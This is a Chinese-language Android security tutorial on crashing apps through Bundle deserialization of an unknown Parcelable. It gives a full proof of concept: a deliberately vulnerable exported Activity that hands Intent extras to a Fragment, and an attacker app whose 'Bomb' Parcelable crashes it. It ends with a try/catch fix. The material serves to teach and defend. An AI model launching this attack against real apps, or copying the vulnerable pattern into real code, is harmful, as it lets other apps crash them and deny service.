在开发中,bundle是一个很好用的容器,因为bundle拥有Map的能力,更强大的是值可以几乎任何类型的对象。然而,bundle在反序列化Parcelable的过程中却存在很多不安全的情况。比如,利用不安全的Parcelable实现实现权限提升;利用bundle的反序列化时反射对象导致App崩溃;利用bundle对象传输超大数据导致App崩溃等等。下面我要介绍的是利用bundle的反序列化时反射对象导致App崩溃的安全问题。
知识背景
当Bundle数据在传递时,会转化为字节流进行传递。详见writeArrayMapInternal方法,启动当写入Parcelable对象时,会写入这个对象的getClass().getName(),当接受者收到bundle时,获取数据时,会先初始化将所有数据还原并放到ArrayMap中,当有Parcelable对象时,则得到的是一个className,是通过调用Class.forName()方法来得到Parcelable对象的Class对象,由于Parcelable对象并不存在于接收者的ClassLoader中,所以此时将会直接崩溃。这个过程不需要接收者使用Parcelable对象,无法拒绝。
POC
靶场App实现
由于目前很多项目都适用的Activity + Fragment实现的,导致这个问题还是比较常见的。Fragment没有对外导出的能力,必须依靠Activity来实现对话导出,于是容易出现这么一个场景,就是Activity对外导出,并接收bundle数据,然后将bundle直接通过Fragment的setArguments方法传递。实现如下:
public class MainFragment extends Fragment {
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
return inflater.inflate(R.layout.fragment_main,container, false);
}
@Override
public void onViewCreated(@NonNull View view, @Nullable Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
Bundle bundle = getArguments();
if (bundle != null) {
String value = bundle.getString("any");
((TextView)view.findViewById(R.id.content)).setText(value);
}
}
}
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = getIntent();
MainFragment fragment = new MainFragment();
if (intent != null) {
Bundle bundle = intent.getExtras();
fragment.setArguments(bundle);
}
getSupportFragmentManager().beginTransaction()
.add(R.id.fragmentContainer, fragment).commitNow();
}
}
攻击App的代码实现
public class Bomb implements Parcelable {
private String bomb = "bomb";
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeString(this.bomb);
}
public void readFromParcel(Parcel source) {
this.bomb = source.readString();
}
public Bomb() {
}
protected Bomb(Parcel in) {
this.bomb = in.readString();
}
public static final Creator<Bomb> CREATOR = new Creator<Bomb>() {
@Override
public Bomb createFromParcel(Parcel source) {
return new Bomb(source);
}
@Override
public Bomb[] newArray(int size) {
return new Bomb[size];
}
};
}
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
findViewById(R.id.btnNormal).setOnClickListener(this::normal);
findViewById(R.id.btnAttackCrashByBundle).setOnClickListener(this::attackCrashByBundle);
}
private void attackCrashByBundle(View view) {
Intent intent = new Intent();
ComponentName cmp = new ComponentName("com.path.unsafebundle", "com.path.unsafebundle.MainActivity");
intent.setAction(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setComponent(cmp);
Bomb bomb = new Bomb();
intent.putExtra("bomb",bomb);
startActivity(intent);
}
private void normal(View view) {
Intent intent = new Intent();
ComponentName cmp = new ComponentName("com.path.unsafebundle", "com.path.unsafebundle.MainActivity");
intent.setAction(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setComponent(cmp);
intent.putExtra("any","正常拉起app");
startActivity(intent);
}
}
崩溃日志:
解决办法
Intent接收数据时,一定要使用try catch捕获运行时异常,避免崩溃